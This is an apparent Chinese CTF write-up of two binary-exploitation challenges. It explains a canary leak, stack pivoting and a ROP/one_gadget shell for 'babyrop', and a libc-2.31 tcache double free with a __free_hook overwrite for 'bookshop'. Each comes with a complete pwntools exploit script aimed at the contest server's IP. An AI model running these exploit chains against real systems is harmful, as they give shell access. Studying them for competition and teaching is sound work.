前言
比赛的时候做了两个PWN,由于队里没有逆向手,所以又切了道逆向,队友们做了两个密码,一个杂项。
总共241个得分队伍,最终排第36名,离进决赛还是有挺大距离的。
这里,把我做的两道PWN题总结一下。
babyrop(54解)
一个栈题,考察了挺多东西,主要是变相地考察了栈迁移。
首先,有个单字节溢出,利用其覆盖canary
末尾的\x00
,使得数据无法截断,之后printf
即可将canary
泄露出。
接着,动态调试一下,就很容易知道password
对应的数是4196782
(其实为字符串的地址)。
最后,read
看似只能读一次,不过观察到其溢出了0x10
,而read
起始写入的地址是由rbp
控制的,因此可以通过覆写栈上rbp
处为我们想要写入的地址,之后leave
中有pop rbp
,因此可以控制rbp
,并且覆写ret
为call read
前一点的地址,即可做到再次读入,并且读入到任意地址。
不过每次读入的内容去掉canary
只有0x18
的长度,对于布置rop
链肯定是不够的,因此可以仿照上述的思路,进行多次分段读入,最后再进行一次标准的栈迁移即可(其中需要注意的是read()
的返回地址,压进去的返回地址可能会被我们修改)。
最终getshell
的时候,最简单的方式就是一次栈溢出,利用one_gadget
即可。
不过,队里另外一个pwn手问我为什么他用system("/bin/sh")
就不行,我试了一下,是可行的,我想他大概是由于bss_addr
没有抬高或者抬高得不够所以打不通,因为这里调用system
是需要访问到bss_addr
之前空间的,如果是碰到了不可读(写)段或者是申请的临时空间覆盖了之前的有用数据,就有可能会出问题。
当然,如果控制rbp
后,跳转到printf()
前面一点,可以直接泄露出libc
,相对于以上的思路,稍微简单一些。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 38183)
#io=process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
bss_addr = 0x601500
pop_rdi_ret = 0x400913
leave_ret = 0x400759
vuln = 0x400717
read = 0x40071F
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
io.recvuntil("name? \n")
io.send(b'a'*20 + b'bitch')
io.recvuntil("bitch")
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary:\t' + hex(canary))
io.recvuntil("challenge\n")
io.sendline(b'4196782')
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x20) + p64(read)
io.sendafter("message\n", payload)
payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(canary) + p64(bss_addr+0x18+0x20) + p64(read)
io.send(payload)
payload = p64(vuln) + p64(0) + p64(leave_ret)
payload += p64(0) + p64(bss_addr-8) + p64(leave_ret)
io.send(payload)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
one_gadget = libc_base + 0x4f432
payload = b'a'*0x18 + p64(canary) + p64(0) + p64(one_gadget)
io.send(payload)
'''
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x10) + p64(read)
io.send(payload)
payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
payload += p64(canary) + p64(bss_addr-0x18) + p64(leave_ret)
io.send(payload)
'''
io.interactive()
bookshop(29解)
一个堆题,首先让你读入申请的堆块大小(0x1F~0x666
),之后每次申请堆块,都只能申请这么大,并且堆块个数也有限制,不过限制比较宽泛。
漏洞点也很明显,一个UAF
漏洞,而且写入内容时read
后并没有添加\x00
,可能造成信息的泄露(不过此题没用到)。
首先,每次都只能申请一样大的堆块,那么如果要改变堆块大小,就只能通过空闲堆块合并了。
UAF
漏洞可以让我们很方便地泄露出libc
的基地址(show
放入unsorted bin
的堆块),UAF
漏洞的攻击方式最常见的就是double free
,不过此处貌似不太好实现,主要矛盾在于libc-2.31
下,对tcache
的double free
进行了检测,在每个tcache bin
的bk
处放入了key
,标识了其所属的tcache
。若是用fastbin double free
再配合fastbin reverse into tcache
好像可行,不过就不好将chunk
放入unsorted bin
以泄露libc
了(fastbin
之间也不会合并)。
所以,想办法将key
改变就可以对tcache
进行double free
了。
当scanf
读入大量数据,缓冲区不够存放的时候,会分配一个堆块存放这些数据,比如读入0x666
个字节,就会分配0x810
大小的堆块,并在读入完成后,将申请的堆块free
掉。
可以通过填满tcache
后,连续free
将很多个小堆块合并为一个大堆块,而其中单独的每个小堆块由于UAF
漏洞,都可以单独地free
,若此时tcache
没满,它们每个free
后都会进入tcache
,并且不会对next chunk
的prev_inuse
位进行检测。
结合以上,可以每次申请0x200
大小的堆块,5个这样的堆块合并成0xa00
大小的堆块放在unsorted bin
,并把0xa00
中最后一个0x200
的堆块C
单独释放到tcache
中,这时候再通过scanf
读入大量数据,申请了0x810
大小的堆块,就会将0xa00
大小的堆块分割,并写入新size
到C
的key
位置处,实现了覆写更改,之后就很容易利用tcache double free
修改__free_hook
为system
进行getshell
。
此外,还有一种思路:当scanf
读入大量数据,申请了large bin
后,会触发malloc_consolidate
,从而造成fastbin
合并后进入unsorted bin
,就可以泄露libc
了,然后用fastbin double free
再配合fastbin reverse into tcache
即可。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 29251)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
def add(content):
io.sendlineafter(">> ", b'1')
io.sendafter("> ", content)
def delete(index):
io.sendlineafter(">> ", b'2')
io.sendlineafter("bag?\n", str(index))
def show(index):
io.sendlineafter(">> ", b'3')
io.sendlineafter("read?\n", str(index))
io.recvuntil(": ")
def lucky(size):
io.recvuntil("number?\n")
io.sendline(str(size))
lucky(0x1f0)
for i in range(13): #0~12
add(b'\n')
for i in range(12):
delete(i)
show(7)
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success("libc_base:\t" + hex(libc.address))
add(b'\n') #13
add(b'\n') #14
delete(11)
io.sendlineafter(">> ", b'8'*0x666)
delete(11)
add(p64(libc.sym['__free_hook'] - 8)) #15
add(b'\n') #16
add(b'/bin/sh\x00' + p64(libc.sym['system'])) #17
delete(17)
io.interactive()
Blindbox(8解)
感觉很复杂,其实就是我太菜了,坐等大师傅们的wp......